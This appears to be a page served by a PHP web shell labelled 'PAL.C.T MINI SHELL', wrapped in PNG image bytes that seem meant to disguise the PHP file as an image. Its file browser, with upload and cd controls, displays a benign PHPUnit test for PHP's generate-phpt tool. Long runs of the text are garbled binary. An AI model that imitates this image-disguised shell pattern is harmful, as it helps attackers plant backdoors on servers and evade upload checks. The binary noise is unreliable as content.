�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/scripts/dev/generate-phpt/tests/
upload
files >> //php-7.1.11/scripts/dev/generate-phpt/tests/gtFunctionTest.php

cd
<?php
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__) . '/../src/gtAutoload.php';


class gtFunctionTest extends PHPUnit_Framework_TestCase
{
  public function testArguments() {

    $f = new gtFunction('cos');
    $f->setArgumentNames();
    $m = $f->getMandatoryArgumentNames();
    $this->assertEquals($m[0], 'number');
  }

  public function testArguments2() {

    $f = new gtFunction('version_compare');
    $f->setArgumentNames();
    $m = $f->getMandatoryArgumentNames();
    $o = $f->getOptionalArgumentNames();
    $this->assertEquals($m[0], 'ver1');
    $this->assertEquals($m[1], 'ver2');
    $this->assertEquals($o[0], 'oper');

  }

  public function testExtraArguments() {

    $f = new gtFunction('version_compare');
    $f->setArgumentNames();
    $f->setExtraArgumentList();

    $this->assertEquals('$ver1, $ver2, $oper, $extra_arg', $f->getExtraArgumentList());
  }

  public function testShortArguments() {

    $f = new gtFunction('version_compare');
    $f->setArgumentNames();
    $f->setShortArgumentList();

    $this->assertEquals('$ver1', $f->getShortArgumentList());
  }
  
   public function testAllArgumentList() {

    $f = new gtFunction('version_compare');
    $f->setArgumentNames();
    $f->setValidArgumentLists();
    $a = $f->getValidArgumentLists();
    
    $this->assertEquals('$ver1, $ver2', $a[0]);
    $this->assertEquals('$ver1, $ver2, $oper', $a[1]);
  }
  
   public function testInitialisation() {

    $f = new gtFunction('version_compare');
    $f->setArgumentNames();
    $f->setInitialisationStatements();
    $a = $f->getInitialisationStatements();
    
    $this->assertEquals('$ver1 = ', $a[0]);
    $this->assertEquals('$ver2 = ', $a[1]);
    $this->assertEquals('$oper = ', $a[2]);
  }

}
?>
� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�